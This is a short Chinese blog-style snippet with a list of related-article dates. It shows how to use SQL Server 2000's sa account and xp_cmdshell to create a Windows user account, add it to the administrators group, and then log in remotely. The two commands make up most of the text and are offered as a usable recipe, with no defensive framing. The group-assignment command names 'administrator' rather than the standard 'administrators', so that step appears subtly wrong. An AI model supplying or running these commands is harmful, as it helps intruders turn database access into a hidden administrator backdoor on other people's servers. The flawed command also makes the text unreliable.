通过sql server2000 sa账号进入查询分析器(进入默认数据库为master,因为xp_cmdshell存储过程在master表中),用下面两句新建window

账号

exec xp_cmdshell 'net user yourname yourPassword /add'       --注意"/"前面有空格。yourname表示新建账户名,yourpassword为

密码

exec xp_cmdshell 'net localgroup administrator yourname /add'   --给账号分配administrator角色

然后就可以远程登录了.

 

相关文章:

  • 2021-12-23
  • 2021-12-26
  • 2021-12-01
  • 2022-12-23
  • 2022-01-09
  • 2021-09-21
  • 2021-10-19
猜你喜欢
  • 2021-11-09
  • 2021-06-09
  • 2022-12-23
  • 2021-04-11
  • 2022-12-23
  • 2022-12-23
  • 2022-03-04
相关资源
相似解决方案